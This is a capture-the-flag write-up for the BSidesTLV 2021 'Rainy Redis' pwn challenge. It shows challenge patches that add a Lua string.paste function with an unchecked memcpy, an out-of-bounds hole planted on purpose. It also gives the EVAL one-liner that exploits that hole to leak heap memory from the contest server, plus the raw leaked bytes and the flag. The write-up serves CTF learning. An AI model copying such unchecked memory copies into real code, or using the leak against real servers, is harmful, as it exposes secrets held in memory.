Rainy Redis
- Category: Pwn
- 350 points
- Solved by JCTF Team
Description
Solution
This was a nice and easy challenge.
Looking in the tarball we find a patch_files
directory.
Inside there are two patchs: p1_lua.diff
and p2_scripting_init.diff
.
The first patch content is:
--- redis/deps/lua/src/lstrlib.c 2021-07-15 20:41:26.440551800 +0300
+++ redis/deps/lua/src/lstrlib.c 2021-07-15 20:36:18.949532600 +0300
@@ -824,6 +824,25 @@
}
+static int str_paste (lua_State *L) {
+ int nargs = lua_gettop(L); /* number of arguments */
+ size_t l;
+ if (nargs != 4) {
+ return luaL_argerror(L, 0, "string.paste expects 4 arguments(str1, str2, len_to_paste, skip)");
+ }
+
+ const char *s1 = luaL_checklstring(L, 1, &l);
+ const char *s2 = luaL_checklstring(L, 2, &l);
+ lua_Number len = lua_tonumber(L, 3);
+ lua_Number skip = lua_tonumber(L, 4);
+
+ s2 += (int)skip;
+ memcpy(s2, s1, (size_t)len);
+
+ return 0;
+}
+
+
static const luaL_Reg strlib[] = {
{"byte", str_byte},
{"char", str_char},
@@ -839,6 +858,7 @@
{"rep", str_rep},
{"reverse", str_reverse},
{"sub", str_sub},
+ {"paste", str_paste},
{"upper", str_upper},
{NULL, NULL}
};
So the lua implementation in this specific radis server gets a new function "paste" for "string" which look like a OOB READ/WRITE primitive. The second patch content is:
--- redis/src/scripting.c 2021-06-01 17:03:44.000000000 +0300
+++ redis/src/scripting.c 2021-07-15 20:44:10.429469700 +0300
@@ -1069,6 +1069,13 @@
s[j++]=" return rawget(t, n)\n";
s[j++]="end\n";
s[j++]="debug = nil\n";
+ /* ======== executed during lua state startup ======== */
+ s[j++]="local flag = ''\n";
+ s[j++]="for i = 1,1000,1 do\n";
+ s[j++]=" flag = flag .. 'BSidesTLV2021{demo-flag--demo-flag--demo-flag}'\n";
+ s[j++]="end\n";
+ s[j++]="flag = nil\n"; // clean secret value from Lua context. The flag cannot be available on production env!
+ /* ================================================== */
s[j++]=NULL;
for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));
So this runs on initialization of the scripting of a session it concatenates the flag many times into a variable but then it sets the variable to nil
, fortunately the actual string is still in memory.
To get the flag we leak memory by doing:
rainy-redis.ctf.bsidestlv.com:6379> AUTH default-pwd
OK
rainy-redis.ctf.bsidestlv.com:6379> EVAL 'local t = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; string.paste("BSidesTLV2021{", t, 4096, 0); return t' 0
"BSidesTLV2021{\x00\x00\x05\x00\x00\x00\x00\xff\x00\x00\x01\x00\x00\x00E@\x00\x00F\x80\xc0\x00\x81\xc0\x00\x00\xc0\x00\x00\x00\x01\x01\x01\x00AA\x01\x00\\@\x80\x02\x00\xd3K\x9bC\x7f\x00\x00\x0c\x00\x00\x00\x00\x8a\x1e\x00`\xa0K\x9bC\x7f\x00\x00\n\x01\x00\x00\x00\x00\x00\x00\xb8\xd9K\x9bC\x7f\x00\x00\xb0\x94L\x9bC\x7f\x00\x00\x05\x00\x00\x00C\x7f\x00\x00\x00\x00\x00\x00\x00+!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00c\x8d\xa9,\x12\x00\x00\x00\x00\x00\x00\x00@enable_strict_lua\x00\x00\x00\xff\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\xad'\x00\xa0\xd2K\x9bC\x7f\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\xc0\xd2K\x9bC\x7f\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00D\xe1\x83\x00\x04\x00\x00\x00\x00\x00\x00\x00flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\xc8%(\x05\x0b\x00\x00\x00\x00\x00\x00\x00(for index)\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00l\x0e^R\x0b\x00\x00\x00\x00\x00\x00\x00(for limit)\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\x1a\x8d\xc6u\n\x00\x00\x00\x00\x00\x00\x00(for step)\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\xff\x00\x00 \xe0K\x9bC\x7f\x00\x00\x06\x02\x00\x00\xdc\x80\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00@\xe2\x88\x9bC\x7f\x00\x00\xd0\xd5K\x9bC\x7f\x00\x00\x00\x00\x00\x00\x00\x939\x00\xe0\xa0K\x9bC\x7f\x00\x00\n\x01\x00\x00\x05\x00\x00\x00h\xdbK\x9bC\x7f\x00\x00\xb0\x94L\x9bC\x7f\x00\x00\x05\x00\x00\x00C\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\xff\x00\x00BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-c"
The flag is BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}
.